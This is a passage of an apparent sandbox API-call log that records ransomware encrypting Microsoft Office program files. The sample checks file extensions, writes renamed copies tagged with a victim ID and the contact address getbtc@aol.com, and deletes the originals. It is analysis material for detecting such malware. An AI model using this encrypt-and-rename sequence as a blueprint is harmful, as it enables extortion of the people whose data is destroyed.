lpString2=".DLL") returned 1 [0257.832] lstrlenW (lpString=".xls") returned 4 [0257.832] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.832] lstrlenW (lpString=".xlsx") returned 5 [0257.832] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0257.832] lstrlenW (lpString=".ppt") returned 4 [0257.832] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0257.832] lstrlenW (lpString=".zip") returned 4 [0257.832] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.832] lstrlenW (lpString=".rar") returned 4 [0257.832] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.832] lstrlenW (lpString=".bz2") returned 4 [0257.832] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.832] lstrlenW (lpString=".7z") returned 3 [0257.832] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0257.832] lstrlenW (lpString=".dbf") returned 4 [0257.832] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0257.832] lstrlenW (lpString=".1cd") returned 4 [0257.832] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0257.832] lstrlenW (lpString=".jpg") returned 4 [0257.832] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.832] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.833] lstrlenW (lpString="AECUTILS.DLL") returned 12 [0257.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.834] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=796552) returned 1 [0257.834] CloseHandle (hObject=0x3dc) returned 1 [0257.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll")) returned 0x20 [0257.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0257.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0257.835] lstrlenW (lpString=".doc") returned 4 [0257.835] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.835] lstrlenW (lpString=".docx") returned 5 [0257.835] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0257.835] lstrlenW (lpString=".pdf") returned 4 [0257.835] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.835] lstrlenW (lpString=".xls") returned 4 [0257.835] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.835] lstrlenW (lpString=".xlsx") returned 5 [0257.835] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0257.835] lstrlenW (lpString=".ppt") returned 4 [0257.835] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0257.835] lstrlenW (lpString=".zip") returned 4 [0257.835] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.835] lstrlenW (lpString=".rar") returned 4 [0257.835] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.835] lstrlenW (lpString=".bz2") returned 4 [0257.835] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.835] lstrlenW (lpString=".7z") returned 3 [0257.835] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0257.835] lstrlenW (lpString=".dbf") returned 4 [0257.835] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0257.835] lstrlenW (lpString=".1cd") returned 4 [0257.835] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0257.835] lstrlenW (lpString=".jpg") returned 4 [0257.835] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0257.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0257.836] lstrlenW (lpString=".doc") returned 4 [0257.836] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.836] lstrlenW (lpString=".docx") returned 5 [0257.836] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0257.836] lstrlenW (lpString=".pdf") returned 4 [0257.836] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.836] lstrlenW (lpString=".xls") returned 4 [0257.836] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.836] lstrlenW (lpString=".xlsx") returned 5 [0257.836] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0257.836] lstrlenW (lpString=".ppt") returned 4 [0257.836] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0257.836] lstrlenW (lpString=".zip") returned 4 [0257.836] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.836] lstrlenW (lpString=".rar") returned 4 [0257.836] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.836] lstrlenW (lpString=".bz2") returned 4 [0257.836] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.836] lstrlenW (lpString=".7z") returned 3 [0257.836] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0257.836] lstrlenW (lpString=".dbf") returned 4 [0257.836] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0257.836] lstrlenW (lpString=".1cd") returned 4 [0257.836] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0257.836] lstrlenW (lpString=".jpg") returned 4 [0257.836] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.837] lstrcmpiW (lpString1=".LNG", lpString2=".Q1G") returned -1 [0257.837] lstrlenW (lpString="ASCIIENG.LNG") returned 12 [0257.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.837] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=286848) returned 1 [0257.837] CloseHandle (hObject=0x3dc) returned 1 [0257.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng")) returned 0x20 [0257.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.838] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.838] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.838] GetLastError () returned 0x0 [0257.838] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x46080, lpOverlapped=0x0) returned 1 [0257.847] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x46090, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x46090, lpOverlapped=0x0) returned 1 [0257.852] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.852] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.852] SetEndOfFile (hFile=0x3e0) returned 1 [0257.852] CloseHandle (hObject=0x3e0) returned 1 [0257.853] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.853] SetEndOfFile (hFile=0x3dc) returned 1 [0257.871] CloseHandle (hObject=0x3dc) returned 1 [0257.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng")) returned 1 [0257.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0257.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0257.985] lstrlenW (lpString=".doc") returned 4 [0257.985] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0257.985] lstrlenW (lpString=".docx") returned 5 [0257.985] lstrcmpiW (lpString1=".docx", lpString2="G.LNG") returned -1 [0257.985] lstrlenW (lpString=".pdf") returned 4 [0257.985] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0257.985] lstrlenW (lpString=".xls") returned 4 [0257.985] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0257.985] lstrlenW (lpString=".xlsx") returned 5 [0257.985] lstrcmpiW (lpString1=".xlsx", lpString2="G.LNG") returned -1 [0257.985] lstrlenW (lpString=".ppt") returned 4 [0257.985] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0257.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0257.985] lstrlenW (lpString=".zip") returned 4 [0257.985] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0257.985] lstrlenW (lpString=".rar") returned 4 [0257.985] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0257.985] lstrlenW (lpString=".bz2") returned 4 [0257.985] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0257.986] lstrlenW (lpString=".7z") returned 3 [0257.986] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0257.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0257.986] lstrlenW (lpString=".dbf") returned 4 [0257.986] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0257.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0257.986] lstrlenW (lpString=".1cd") returned 4 [0257.986] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0257.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0257.986] lstrlenW (lpString=".jpg") returned 4 [0257.986] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0257.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0257.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0257.986] lstrlenW (lpString=".doc") returned 4 [0257.986] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0257.986] lstrlenW (lpString=".docx") returned 5 [0257.986] lstrcmpiW (lpString1=".docx", lpString2="G.LNG") returned -1 [0257.986] lstrlenW (lpString=".pdf") returned 4 [0257.986] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0257.986] lstrlenW (lpString=".xls") returned 4 [0257.986] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0257.986] lstrlenW (lpString=".xlsx") returned 5 [0257.986] lstrcmpiW (lpString1=".xlsx", lpString2="G.LNG") returned -1 [0257.986] lstrlenW (lpString=".ppt") returned 4 [0257.986] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0257.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0257.986] lstrlenW (lpString=".zip") returned 4 [0257.986] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0257.986] lstrlenW (lpString=".rar") returned 4 [0257.986] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0257.986] lstrlenW (lpString=".bz2") returned 4 [0257.986] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0257.986] lstrlenW (lpString=".7z") returned 3 [0257.986] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0257.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0257.986] lstrlenW (lpString=".dbf") returned 4 [0257.987] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0257.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0257.987] lstrlenW (lpString=".1cd") returned 4 [0257.987] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0257.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0257.987] lstrlenW (lpString=".jpg") returned 4 [0257.987] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0257.987] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0257.987] lstrlenW (lpString="MSART10.BDR") returned 11 [0257.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0258.037] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=9292) returned 1 [0258.037] CloseHandle (hObject=0x3d8) returned 1 [0258.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr")) returned 0x20 [0258.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0258.078] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.078] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.409] GetLastError () returned 0x0 [0258.409] ReadFile (in: hFile=0x3f0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x244c, lpOverlapped=0x0) returned 1 [0258.437] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x2450, lpOverlapped=0x0) returned 1 [0258.503] ReadFile (in: hFile=0x3f0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0258.503] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0258.503] SetEndOfFile (hFile=0x3a8) returned 1 [0258.503] CloseHandle (hObject=0x3a8) returned 1 [0258.503] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.503] SetEndOfFile (hFile=0x3f0) returned 1 [0258.505] CloseHandle (hObject=0x3f0) returned 1 [0258.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr")) returned 1 [0258.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0258.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0258.773] lstrlenW (lpString=".doc") returned 4 [0258.773] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.773] lstrlenW (lpString=".docx") returned 5 [0258.773] lstrcmpiW (lpString1=".docx", lpString2="0.BDR") returned -1 [0258.773] lstrlenW (lpString=".pdf") returned 4 [0258.773] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.773] lstrlenW (lpString=".xls") returned 4 [0258.773] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.773] lstrlenW (lpString=".xlsx") returned 5 [0258.773] lstrcmpiW (lpString1=".xlsx", lpString2="0.BDR") returned -1 [0258.773] lstrlenW (lpString=".ppt") returned 4 [0258.773] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0258.773] lstrlenW (lpString=".zip") returned 4 [0258.773] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.773] lstrlenW (lpString=".rar") returned 4 [0258.773] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.773] lstrlenW (lpString=".bz2") returned 4 [0258.773] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.773] lstrlenW (lpString=".7z") returned 3 [0258.773] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0258.773] lstrlenW (lpString=".dbf") returned 4 [0258.773] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0258.773] lstrlenW (lpString=".1cd") returned 4 [0258.773] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0258.773] lstrlenW (lpString=".jpg") returned 4 [0258.773] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0258.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0258.774] lstrlenW (lpString=".doc") returned 4 [0258.774] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.774] lstrlenW (lpString=".docx") returned 5 [0258.774] lstrcmpiW (lpString1=".docx", lpString2="0.BDR") returned -1 [0258.774] lstrlenW (lpString=".pdf") returned 4 [0258.774] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.774] lstrlenW (lpString=".xls") returned 4 [0258.774] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.774] lstrlenW (lpString=".xlsx") returned 5 [0258.774] lstrcmpiW (lpString1=".xlsx", lpString2="0.BDR") returned -1 [0258.774] lstrlenW (lpString=".ppt") returned 4 [0258.774] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0258.774] lstrlenW (lpString=".zip") returned 4 [0258.774] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.774] lstrlenW (lpString=".rar") returned 4 [0258.774] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.774] lstrlenW (lpString=".bz2") returned 4 [0258.774] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.774] lstrlenW (lpString=".7z") returned 3 [0258.774] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0258.774] lstrlenW (lpString=".dbf") returned 4 [0258.774] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0258.774] lstrlenW (lpString=".1cd") returned 4 [0258.774] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0258.774] lstrlenW (lpString=".jpg") returned 4 [0258.774] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.775] lstrcmpiW (lpString1=".HLP", lpString2=".Q1G") returned -1 [0258.775] lstrlenW (lpString="CGMIMP32.HLP") returned 12 [0258.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.815] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=31497) returned 1 [0258.816] CloseHandle (hObject=0x3a8) returned 1 [0258.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp")) returned 0x20 [0258.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0258.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0258.826] lstrlenW (lpString=".doc") returned 4 [0258.826] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0258.826] lstrlenW (lpString=".docx") returned 5 [0258.826] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0258.826] lstrlenW (lpString=".pdf") returned 4 [0258.826] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0258.826] lstrlenW (lpString=".xls") returned 4 [0258.826] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0258.826] lstrlenW (lpString=".xlsx") returned 5 [0258.826] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0258.826] lstrlenW (lpString=".ppt") returned 4 [0258.826] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0258.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0258.827] lstrlenW (lpString=".zip") returned 4 [0258.827] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0258.827] lstrlenW (lpString=".rar") returned 4 [0258.827] lstrcmpiW 